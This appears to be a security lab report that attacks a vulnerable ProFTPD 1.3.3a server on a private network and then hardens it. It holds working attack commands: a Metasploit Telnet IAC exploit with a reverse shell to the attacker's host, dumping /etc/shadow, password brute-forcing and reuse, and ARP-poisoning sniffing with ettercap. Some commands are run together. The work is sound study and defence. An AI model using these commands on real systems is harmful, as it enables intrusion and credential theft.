Installation and configuration of FTP service on centos Linux machine

[1] The source code of the older version of ProFTPD server (1.3.3a) was downloaded from the ProFTPD source code repository, located at ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2.

The commands used were (without the hash sign) (ProFTPD, 2011): # cd/usr/local/src # wget -c ‘ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2’ [2] For compilation of the source code, development libraries and compilers need to be installed on the CentOS machine. They were installed using the following command (ProFTPD, 2013): # yum -y groupinstall ‘Development tools’ [3] The ProFTPD server runs as a non-privileged user on the Linux system for security reasons. A group called ftpd was created and then a user called ftpd was also created that belonged to the ftpd group. The following commands were used: [4] Once the user and group ftpd were added, the next step was to compile the source code of the ProFTP server to produce the ProFTPD binary, which supports the FTP (file transport protocol). The following commands were used to achieve this (ProFTPD, 2011):

[5] Once the binaries were compiled, the location of proftpd was found out using the following command: # which proftpd The version was also checked using the following command: #/usr/sbin/proftpd –v

[6] The main configuration file of the ProFTPD server, called proftpd.conf, which is located at /etc, was edited using vi editor. The final configuration file looked like the following. The configuration is heavily commented (comments starts with # sign) for explanation:

The same file has the configuration directive, starting with <Anonymous ~ftp> and ending with , and all the directives inside it were commented out (by putting a hash sign in front of the configuration) to disable anonymous FTP service on the ProFTPD server.

The final configuration file only allows local Linux accounts/users (users defined by the /etc/passwd) and chroot (restricts) them to their home directory so that they cannot break out of that directory. [7] Since the ProFTPD daemon is configured to support local Linux account and to chroot user to his/her home directory, a new user called prithak with password password was added to the Linux system for testing. The following commands were used: # useradd prithak # passwd prithak(enter password prithak twice) Similarly, another user called Daniel was also added to the system. Finally, now we have the following users on the system: [8] The ProFTP server (192.168.79.135) was started in debugging mode and was accessed from the Windows machine (192.168.79.1) using the in-built Windows ftp command. The user prithak (having password prithak) was able to successfully log into the ProFTPD server and at the same time the ProFTPD server produced debugging logs on the standard output to confirm the details of the login. The proftpd was started using the following command line options: proftpd -n -d 4 -c /etc/proftpd.conf –ipv4 The options are as follows: -n Runs the proftpd process in standalone mode (must be configured as such in the configuration file), but does not background the process or disassociate it from the controlling tty. Additionally, all output (log or debug messages) are sent to stderr, rather than the syslog mechanism. -d Runs the ProFTPD server in debugging mode. The 4 parameter increases the verbosity of the logging to 4. -c /etc/proftpd.conf Instructs the ProFTPD daemon to read the configuration file located at /etc/proftpd.conf. –ipv4 Instructs the ProFTPD daemon to listen only on IPV4 addresses, i.e., disabled IPV6 (if present). [9] To ensure that the ProFTP server running on (192.168.79.135) starts every time Linux is restarted, the initialization script (init script) that comes with the source of the ProFTP was copied to the CentOS INIT V (initialization system V) script directory (/etc/rc.d/init.d). Then the script was made executable. Finally, the ProFTPD service was turned on, using the chkconfig command. # cp /usr/local/src/proftpd-1.3.3a/contrib/dist/rpm/proftpd.init.d /etc/rc.d/init.d/proftpd # chmod 775 /etc/rc.d/init.d/proftpd # chkconfig proftpd on\

Reconnaissance, footprinting, and exploitation

[1] Reconnaissance and Footprinting The first step in every vulnerability assessment is to find what services are running and the version of the service; this is called reconnaissance and footprinting. To complete this step a port scan against the target machine should be launched. Following the same principal, nmap port scanner was launched against the machine using the following parameters: root@bt:~# nmap -sS -PN -n -sV -sC 192.168.79.135 The Nmap scan result indicated that the remote machine has two open ports: 22 (SSH) and 21 (FTP). Also, the version of the FTP server running on the remote machine is ProFTPD 1.3.3a and that of SSH is OpenSSH 5.3. Also, the SSH server only supports SSH protocol version 2.0. [2] Buffer Overflow Attack Against the ProFTPD Service When known vulnerabilities for ProFTPD 1.3.3a were searched on the Internet, the following results were obtained: The vulnerability “CVE-2010-4221” was identified to be affecting the version of ProFTPD 1.3.3.a that we were running. According to the site, “Multiple stack-based buffer overflows in the pr_netio_telnet_gets function in netio.c in ProFTPD before 1.3.3c allow remote attackers to execute arbitrary code via vectors involving a TELNET IAC escape character to a (1) FTP or (2) FTPS server.”

Similar, when exploits for the CVE-2010-4221 was searched on the internet it lead to the following metasploit exploit: “ProFTPD 1.3.2rc3 – 1.3.3b Telnet IAC Buffer Overflow (Linux).” The screenshot of the same is shown below: To successfully exploit the remote machine running the vulnerable version of ProFTPD, metasploit was launched using the following commands in Backtrack Linux system: root@bt:~# cd /opt/metasploit/msf3 root@bt:/opt/metasploit/msf3# ./msfconsole The exploit for the vulnerable version of ProFTPD running on 192.168.79.135 was loaded using the following command (commands are in red): msf>use exploit/linux/ftp/proftp_telnet_iac msf exploit(proftp_telnet_iac) >set RHOST 192.168.79.135 RHOST => 192.168.79.135 msf exploit(proftp_telnet_iac) >set payload linux/x86/shell_reverse_tcp msf exploit(proftp_telnet_iac)> set LHOST 192.168.79.144 LHOST => 192.168.79.144 msf exploit(proftp_telnet_iac) >exploit –j

As a result of successful exploitation, reverse shell was obtained on the 192.168.79.135 (ProFTP) server. A new session was created for the shell, which could be listed using “session –l” command in the metasploit console. To interact with the session, the “session –i 1” command was used. To check the privilege level of the user who has triggered the reverse shell, the following command was used:

id: This command prints the effective user id of the user. The output showed that we had uid 0 and gid 0 i.e. we were root user. whoami

This command is used to print the user-friendly name of the current user. The output of this command also confirmed that we had root access in the machine. Since we had the privileges of the super user (root), we were also able to dump the /etc/shadow file, which contains the password hashes of various users in the system and is only readable/writeable by the root user. The following screenshot shows the interaction: [2] Brute-Force and Password Reuse Attack Against the ProFTP Server To carry out a password brute-force attack against the ProFTP server, the following Python script was written. This script tries to brute-force the password of users prithak, chintan, and daniel. The default password file that comes with bracktrack is used as the password database file.

Using the above Python script, the password of the FTP users’ prithak, chintan, and daniel were brute forced and obtained successfully. The following screenshot shows the password obtained:

Since most systems use the same username and password for multiple services, the username and passwords that were obtained from the previous attacks were used against the SSH server running on the same server. This attack is also called the “password reuse attack” (Harper,2011). The password reuse attack was successful and the above credentials were also valid for SSH login. The following screenshot shows the successful SSH login:

[3] ARP Poisoning and Password Sniffing Attack Since the FTP protocol sends username and passwords in clear text, it is susceptible to password sniffing attacks. In this attack, the following IP machines are involved: 192.168.79.135 ProFTP Server (FTP Server) 192.168.79.144 Backtrack (Attacker) 192.168.79.150 Windows XP (FTP Client) The following screenshot shows the address resolution protocol table in the Windows XP host before the ARP poisoning attack is launched: It can be seen that the all the hosts have different MAC addresses associated with them. Now, since the attacker is on the same LAN segment as the FTP server and the FTP client, it is possible for the attacker to launch an ARP poisoning attack so that he can sit in the middle of the FTP exchanges and sniff the password. To do this, the following steps were performed on the attacker’s machine:

Enabled IP forwarding on the attacker’s machine so that it can route the traffic between the FTP server and FTP client. This is done using the following command:

echo 1 > /proc/sys/net/ipv4/ip_forward

Ettercap utility was used to launched an ARP poisoning attack against both the 192.168.79.150 [ Windows XP (FTP Client)] and the 192.168.79.135 ProFTP Server (FTP Server) . The following command was used:

ettercap –iface eth4 –text –quiet –mitmarp /192.168.79.150/ /192.168.79.135/

The following screenshot shows the ARP table on the Windows XP machine before and after the attack was launched:

Now, when the client logs into the FTP server, the ettercap utility grabs the password and prints it.

Countermeasures

[1] Countermeasure Against Buffer Overflow Exploit Since the older version of ProFTPD is being run on the system, the most effective countermeasure is to install the latest version of the same software. Another countermeasure is to install a more secure version of FTP server that has a very good security track record. The pureftpd server seems to have a better security track record than the ProFTPD server. To apply the countermeasure, we choose to upgrade the PureFTPD into the latest version. This was done by following similar steps that were used to install the older version of ProFTPD. The steps used were: The running version of the ProFTPD server was stopped using the following command:

service proftpd stop

The older version of the ProFTPD server was removed by entering its source directory and using the “make deinstall” command.

cd /usr/local/src/proftpd-1.3.3a # make deinstall

The latest version of the source code of ProFTPD server was downloaded and its MD5 checksum verified using md5sum command. The following screenshots show the interaction:

The newer version of ProFTPD was compiled and installed, using the following commands:

tar zxvf proftpd-1.3.5rc2.tar.gz # cd proftpd-1.3.5rc2 # install_user=ftpdinstall_group=ftpd ./configure –prefix=/usr –sysconfdir=/etc –with-modules=mod_tls # make # make install [ N.B.: All these commands and their usage have been explained already when the older version of ProFTPD was installed. The mod_tls option enables FTP over SSL/TLS (FTPS) protocol support. ]

When the version of ProFTPD was checked, it came out to be ProFTPD Version 1.3.5rc2.

The latest version of ProFTPD was started and then the lsof command was used to verify that FTP server was running:

It was also possible to login into the FTP using the same username and passwords that were used earlier. This proved that the upgraded FTP service was indeed working perfectly. When the same exploit that was used previously was launched against that ProFTPD server using metasploit, it failed. This verified that the service was patched. Also, at the time of writing, no known exploits (local or remote) exist for the ProFTPD server version 1.3.5-rc2 that we are running.

[2] Countermeasure Against Password Sniffing and Password Reuse Attack The FTP protocol can be secured by using the FTP over the SSL (FTPS) protocol. The following steps can be performed to enable FTPS:

Generate SSL/TLS certificates using the OpenSSL utility that comes with Linux (Falko, 2011):

mkdir /etc/ssl_certs/ # opensslreq -new -x509 -days 730 -nodes -out /etc/ssl_certs/proftpd.cert.pem -keyout /etc/ssl_certs/proftpd.key.pem The –days 730 ensures that the certificate is valid for 730 days or two years.

The ProFTPD server was configured to support FTPS protocol by editing the /etc/proftpd.conf configuration file. Also, the plaintext FTP protocol was disabled and FTPS was enforced. Now ProFTPD will reject plaintext FTP connections. The following screenshot shows the added lines with comments and explanation: Once the configuration was completed, The ProFTPD daemon was restarted, using the “service proftpd restart” command. Now, when the Windows 7 built-in FTP.EXE client was used to connect to the server using the plaintext FTP protocol, the server rejected the connection with error message: “550 SSL/TLS required on the control channel.” To test the login, the FileZilla FTP client was installed and it was able to successfully log in to the ProFTPD server using SSL/TLS. However, a warning message related to the certificate was shown. This is due to the fact that the certificate is self-signed. Once the certificate was accepted, on successive logins there were no errors. Also, passwords used for the FTP server should be secure and strong. The FTP users should have their shell changed to /bin/false, which will ensure that the FTP users will not be able to login over SSH, telnet, or TTY sessions. This was done using the following commands: # chsh -s /bin/false prithak # chsh -s /bin/false daniel # chsh -s /bin/false chintan # echo /bin/false » /etc/shells

[3] Countermeasure Against Password Brute-Force Attack To defend against password brute-force attack, the following steps were taken:

Strong passwords were chosen and the users’ passwords were upgraded. The following commands were used:

passwd prithak( when prompted for password alj234wkjw&82jlk2133 was entered two times) # passwdchitan( when prompted for password 234aj%2]32[maere was entered two times) # passwddaniel( when prompted for password ;8@#%2./ere$.0 was entered two times)

Fail2ban utility was installed and configured on the ProFTPD system. The Fail2ban utility can detect and prevent password brute-force attack(s) by blocking the IP address(es) of the attacker. It checks the ProFTPD log (/var/log/secure) and, based on the configuration, automatically inserts iptables firewall rule(s) to block the offending IP address. The following steps were taken to install and configure the fail2ban with ProFTPD:

Fail2ban was installed using the following commands (Selvaganeshan, 2010):

wgethttp://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm # rpm -ivh epel-release-6-8.noarch.rpm # yum install -y fail2ban

The /etc/fail2ban/jail.conf file was edited and the following parameters were changed (Selvaganeshan, 2010):

bantime = 600 maxretry = 4 The bantime defines the number of seconds to block the attackers IP and the maxretry parameter is the number of failures allowed before the IP is blocked. So, in this case, if any IP has more than four failed logins, it is banned. Similarly, monitoring ProFTPD logs was also enabled in the “proftpd-iptables” section:

Then the fail2ban service was restarted using the following command:

/etc/init.d/fail2ban restart At the beginning, no IP address was blocked by fail2ban with the help from iptables. The default rule set in fail2ban-ProFTPD chain was empty as shown below:

When FTP password brute force attack is carried out from IP address 192.168.79.222 (backtrack) on the ProFTPD server (192.168.79.135), the attack is detected and the IP address of the attacker is blocked:

The iptables rule to block the IP 192.168.79.222 that was inserted by fail2ban is highlighted below:

Conclusion

ProFTPD server was installed from source and attacked using buffer overflow exploit, password sniffing, and password brute-force attacks. Also, the service was secured using compulsory SSL/TLS certificates and the Fail2ban intrusion detection system and by upgrading the service to the latest version.

Sources

Ettercap Setting up proftpd Compiling